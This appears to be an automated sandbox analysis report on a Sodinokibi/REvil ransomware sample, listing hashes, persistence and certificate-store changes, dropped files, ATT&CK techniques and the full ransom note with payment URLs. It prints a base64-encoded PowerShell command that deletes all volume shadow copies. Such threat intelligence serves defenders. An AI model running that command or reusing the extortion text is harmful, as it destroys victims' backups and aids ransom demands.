sodinokibi | 69de11ed75d212a04e1f03206929f339d8a3f20dec5b8047adf5bb4d9e1b27c3

Analysis

max time kernel
130s
max time network
150s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02/04/2024, 13:53

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General

Target

42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
Size

166KB
MD5

43e9093ffc8dd69985a9ae65b26f5551
SHA1

7b268ff84e824ddcd8b7df3cf9993be012489d01
SHA256

42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d
SHA512

118d879750d0456f5b2e31818815ef9465fb40eac24f4784236c626d2a2e753b5a85ec5b2c66a755b10855c9caaf77bd85b6b3d1fc7003fb029cb703ead9037c
SSDEEP

3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QG9BEJfMt0H:ZJ0BXScFy2RsQJ8zgG9jt0

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Users\4w9181-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 4w9181. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7B2544B664CF3A9E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/7B2544B664CF3A9E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: O/dHAVlk3F+kcGtHb8zOp7AmYEOUpOoSfvmYJsIFa11NKp7kGwGPMlImqNv/BAio 8WGS4si5+9gtGAi9MxmLT8D1tKX54ddcbL8m4CMW33DWZ+jh+SSTnomQplyvaiuw K8qxWs2DBKI1EIZh0B/ITzuKTtkBoSWJLnEfaDwgXwRrMCLMB5VTula0+1q3NajT GjxwL2FgzIgo5dG+Gge1lt7th0vG/bfmmJz+lU4U9JwFOskOvnmNYGCYy12Rgk6C gMfXt8q+odVhEG8iuxXc+xosPLHV8z6mcyN/NZs0kz5IyJEA+OaN7cnZgZgqV3cP Qduq3gf0RJPhXf9OwNhY0DOaCaUtqve3qyvil+F+mHP/Gyy3UBzrnyWR03jdlMNx XjCWTnBd5Q5wf+/8pzXMojl6Pei/XK5rjabnqBrv/9qxjsW4+TuSlG8VX0RPmtkT 5TLN22WQgvMj34gq3jfbHyN4DqnT0O7fKZ2DXkABLhpVdXQtTwfUXuvyD1zYxXE2 BLLTSUoaVB+GFpYeqSZ/RHcdRDzwxXIkcuoheJfN8EL+WXV5D0HUTt6UZf/MAo3a 7Xe0PI6mkCRrCHN6ymumnUeDG+o2ac06zbg0MHxrwDtiT+lCfafqcbFoWIli0FGb lWV4WlwPraRCZVN9LGBgq9H+iHtdl8NTMvo9lpfhSFCkCi4kEgVCLcp6LSDLthaL snbcQlQm6Xo0d/lKJV05oMjOdvM8hc/DzzY/11AVuaQtpBS/5asXdnn1UaGfIyod OZY4EFGyBWTEo32Z5tQDSsxAPhE3rGyfAkmlE4l7rd2aU7THHu60+IIZjlDPmrJc ajacp7TvW27FP5LzYM+YGT5cGzEFMOXcyQMWH4ZErsUrQuhTgtkVzsq3zmktNveO +rnaflezJAdcsjGKceixJa9A1FSCRmgxsuZe/CSbx8T4ipeOKHCpimoaTHDRLzjr 2NXIuCWBr6579GrcSb/Cz3wXCLXOTMhy2IYyZ78nHjCwO4yTIPehTg2hYkutafka w71LtowyL8lDLrxcYzQOSfx3Jmp/EUTVbnhUdEM6gyuCrFECsx4oOFLfPmSKhGGE Z/0zxeG7ehK56Gz/H7Btk4vufSJ13tV9+IX9r9E5ENr6wSd+6Abcpo/Cy05iHM1R uUhaH0uY8WOU3necprvGScVLE3dBPn5rzmsxN0r9wEBp7FLLxmgzR6thDqDgP3I4 Hr7pIa8tQrq+PsJT ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7B2544B664CF3A9E

http://decryptor.cc/7B2544B664CF3A9E

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe"	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\N:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\M:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\X:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\F:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\E:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\J:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\Q:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\A:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\B:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\L:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\S:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\R:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\U:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\Y:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\D:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\K:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\O:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\P:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\T:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\V:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\Z:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\G:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\I:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\H:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\W:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\su612q.bmp"	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

Drops file in Program Files directory 31 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\ApproveReset.vsdm	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\SaveUninstall.mp2	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\SuspendProtect.001	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\WaitGroup.docx	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\DisableCheckpoint.m3u	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\FormatClear.kix	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\SearchConvert.aifc	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\SelectConnect.dwg	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\UninstallSync.ogg	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\4w9181-readme.txt	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\4w9181-readme.txt	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\BackupComplete.xla	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\TraceDebug.tiff	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\ConvertToImport.crw	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\ReadSubmit.xhtml	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\TraceCheckpoint.temp	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\WatchSplit.php	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File created	\??\c:\program files\4w9181-readme.txt	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File created	\??\c:\program files (x86)\4w9181-readme.txt	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\DisableExit.vstm	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\ExpandHide.pptm	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\GetConvertTo.kix	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\NewConvert.scf	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\RestartStep.odp	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\EnableRename.wmx	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\UnlockApprove.bmp	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\CompareUndo.jtx	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\ExportDisable.vsdm	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\LimitSwitch.ADTS	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\RequestExport.odt	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\4w9181-readme.txt	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2072	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
2720	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2072	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeBackupPrivilege	2568	vssvc.exe
Token: SeRestorePrivilege	2568	vssvc.exe
Token: SeAuditPrivilege	2568	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 2720	2072	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe	28
PID 2072 wrote to memory of 2720	2072	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe	28
PID 2072 wrote to memory of 2720	2072	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe	28
PID 2072 wrote to memory of 2720	2072	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe	28

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
"C:\Users\Admin\AppData\Local\Temp\42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2628

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\4w9181-readme.txt

Filesize
6KB

MD5
f3ac14a01133361aca85d6d9b59d3fa8

SHA1
37418ad9523b975b99e294a56d4f0d1f553a1688

SHA256
6b9270d51cbadc8e256b8b227a901d7e4c853d6a94435801874849dbdd443c4c

SHA512
d3b57f9a95db42a6cbf452a0254304db841f68f9731ebf80980c553f5edbd26b903c22d2ccd696ffee994acb841a4d78798f3a5667d927e1292288e6a8afda7e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab64BE.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar660C.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Windows\System32\catroot2\dberr.txt

Filesize
192KB

MD5
1d8448e968b926d48abb1cfcbc71751e

SHA1
7b50ddeda2cad3026508425b64efa0f55b4b11d2

SHA256
05c36922fae149163391a510fe4d1ec79e62ec9f084e7accba5f1a08ed7ad695

SHA512
de40e7cf4794b81abcbbb9d4051719c0e044723c82a9d4744238181fedf5eb43f3f78cb5de798afdf8ccb156ebbcc1bcd7e23cf02036381410e1f605fd11eae4

Download Submit
memory/2720-7-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2720-10-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2720-11-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2720-12-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-9-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2720-8-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-4-0x000000001B340000-0x000000001B622000-memory.dmp

Filesize
2.9MB

Download
memory/2720-6-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-5-0x0000000002050000-0x0000000002058000-memory.dmp

Filesize
32KB

Download